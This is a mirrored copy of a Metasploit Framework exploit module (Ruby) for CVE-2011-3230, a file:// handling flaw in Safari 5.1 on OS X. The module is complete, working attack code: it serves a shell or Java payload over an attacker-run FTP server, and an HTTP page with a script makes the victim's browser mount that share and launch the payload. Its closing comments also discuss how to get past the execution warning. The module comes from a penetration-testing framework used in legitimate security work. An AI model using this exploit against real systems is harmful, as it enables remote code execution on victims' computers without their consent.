Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
19611 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::FtpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "Apple Safari file:// Arbitrary Code Execution",
16
'Description' => %q{
17
This module exploits a vulnerability found in Apple Safari on OS X platform.
18
A policy issue in the handling of file:// URLs may allow arbitrary remote code
19
execution under the context of the user.
20
21
In order to trigger arbitrary remote code execution, the best way seems to
22
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
23
a file format that OS X might automount), and then execute it in /Volumes/[share].
24
If there's some kind of bug that leaks the victim machine's current username,
25
then it's also possible to execute the payload in /Users/[username]/Downloads/,
26
or else bruteforce your way to getting that information.
27
28
Please note that non-java payloads (*.sh extension) might get launched by
29
Xcode instead of executing it, in that case please try the Java ones instead.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Aaron Sigel', # Initial discovery
34
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
35
],
36
'References' => [
37
[ 'CVE', '2011-3230' ],
38
[ 'OSVDB', '76389' ],
39
[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],
40
[ 'URL', 'http://support.apple.com/kb/HT5000' ]
41
],
42
'Payload' => {
43
'BadChars' => "",
44
},
45
'DefaultOptions' => {
46
'EXITFUNC' => "none",
47
},
48
'Platform' => %w{java osx unix},
49
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
50
'Targets' => [
51
[ 'Safari 5.1 on OS X', {} ],
52
[ 'Safari 5.1 on OS X with Java', {} ]
53
],
54
'Privileged' => true,
55
'DisclosureDate' => '2011-10-12', # Blog date
56
'DefaultTarget' => 0,
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
68
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
69
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
70
]
71
)
72
end
73
74
#
75
# Start the FTP aand HTTP server
76
#
77
def exploit
78
# The correct extension name is necessary because that's how the LauncherServices
79
# determines how to open the file.
80
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
81
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
82
83
# Start the FTP server
84
start_service()
85
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
86
87
# Create our own HTTP server
88
# We will stay in this functino until we manually terminate execution
89
start_http()
90
end
91
92
#
93
# Lookup the right address for the client
94
#
95
def lookup_lhost(c = nil)
96
# Get the source address
97
if datastore['SRVHOST'] == '0.0.0.0'
98
Rex::Socket.source_address(c || '50.50.50.50')
99
else
100
datastore['SRVHOST']
101
end
102
end
103
104
#
105
# Override the client connection method and
106
# initialize our payload
107
#
108
def on_client_connect(c)
109
r = super(c)
110
@state[c][:payload] = regenerate_payload(c).encoded
111
r
112
end
113
114
#
115
# Handle FTP LIST request (send back the directory listing)
116
#
117
def on_client_command_list(c, arg)
118
conn = establish_data_connection(c)
119
if not conn
120
c.put("425 Can't build data connection\r\n")
121
return
122
end
123
124
print_status("Data connection setup")
125
c.put("150 Here comes the directory listing\r\n")
126
127
print_status("Sending directory list via data connection")
128
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
129
m = month_names[Time.now.month - 1]
130
d = Time.now.day
131
y = Time.now.year
132
133
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
134
conn.put(dir)
135
conn.close
136
137
print_status("Directory sent ok")
138
c.put("226 Transfer ok\r\n")
139
140
return
141
end
142
143
#
144
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
145
#
146
def on_client_command_retr(c, arg)
147
conn = establish_data_connection(c)
148
if not conn
149
c.put("425 can't build data connection\r\n")
150
return
151
end
152
153
print_status("Connection for file transfer accepted")
154
c.put("150 Connection accepted\r\n")
155
156
# Send out payload
157
conn.put(@state[c][:payload])
158
conn.close
159
return
160
end
161
162
#
163
# Handle the HTTP request and return a response. Code borrorwed from:
164
# msf/core/exploit/http/server.rb
165
#
166
def start_http(opts = {})
167
# Ensure all dependencies are present before initializing HTTP
168
use_zlib
169
170
comm = datastore['ListenerComm']
171
if (comm.to_s == "local")
172
comm = ::Rex::Socket::Comm::Local
173
else
174
comm = nil
175
end
176
177
# Default the server host / port
178
opts = {
179
'ServerHost' => datastore['SRVHOST'],
180
'ServerPort' => datastore['HTTPPORT'],
181
'Comm' => comm
182
}.update(opts)
183
184
# Start a new HTTP server
185
@http_service = Rex::ServiceManager.start(
186
Rex::Proto::Http::Server,
187
opts['ServerPort'].to_i,
188
opts['ServerHost'],
189
datastore['SSL'],
190
{
191
'Msf' => framework,
192
'MsfExploit' => self,
193
},
194
opts['Comm'],
195
datastore['SSLCert']
196
)
197
198
@http_service.server_name = datastore['HTTP::server_name']
199
200
# Default the procedure of the URI to on_request_uri if one isn't
201
# provided.
202
uopts = {
203
'Proc' => Proc.new { |cli, req|
204
on_request_uri(cli, req)
205
},
206
'Path' => resource_uri
207
}.update(opts['Uri'] || {})
208
209
proto = (datastore["SSL"] ? "https" : "http")
210
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
211
212
if (opts['ServerHost'] == '0.0.0.0')
213
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
214
end
215
216
# Add path to resource
217
@service_path = uopts['Path']
218
@http_service.add_resource(uopts['Path'], uopts)
219
220
# As long as we have the http_service object, we will keep the ftp server alive
221
while @http_service
222
select(nil, nil, nil, 1)
223
end
224
end
225
226
#
227
# Kill HTTP/FTP (shut them down and clear resources)
228
#
229
def cleanup
230
super
231
232
# clear my resource, deregister ref, stop/close the HTTP socket
233
begin
234
@http_service.remove_resource(datastore['URIPATH'])
235
@http_service.deref
236
@http_service = nil
237
rescue
238
end
239
end
240
241
#
242
# Ensures that gzip can be used. If not, an exception is generated. The
243
# exception is only raised if the DisableGzip advanced option has not been
244
# set.
245
#
246
def use_zlib
247
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
248
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
249
end
250
end
251
252
#
253
# Returns the configured (or random, if not configured) URI path
254
#
255
def resource_uri
256
path = datastore['URIPATH'] || rand_text_alphanumeric(8 + rand(8))
257
path = '/' + path if path !~ /^\//
258
datastore['URIPATH'] = path
259
return path
260
end
261
262
#
263
# Handle HTTP requets and responses
264
#
265
def on_request_uri(cli, request)
266
agent = request.headers['User-Agent']
267
268
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
269
print_error("Unsupported target: #{agent}")
270
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
271
return
272
end
273
274
html = <<-HTML
275
<html>
276
<head>
277
<base href="file://">
278
<script>
279
function launch() {
280
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
281
}
282
283
function share() {
284
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
285
setTimeout("launch()", 2000);
286
}
287
288
share();
289
</script>
290
</head>
291
<body>
292
</body>
293
</html>
294
HTML
295
296
send_response(cli, 200, 'OK', html)
297
end
298
299
#
300
# Create an HTTP response and then send it
301
#
302
def send_response(cli, code, message = 'OK', html = '')
303
proto = Rex::Proto::Http::DefaultProtocol
304
res = Rex::Proto::Http::Response.new(code, message, proto)
305
res['Content-Type'] = 'text/html'
306
res.body = html
307
308
cli.send_response(res)
309
end
310
end
311
312
=begin
313
- Need to find a suitable payload that can be executed without warning.
314
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
315
problem, but we still get a "Are you sure?" warning before it can be executed.
316
- Allow user-specified port to automount the share
317
- Allow ftp USERNAME/PASSWORD (optional)
318
=end
319
320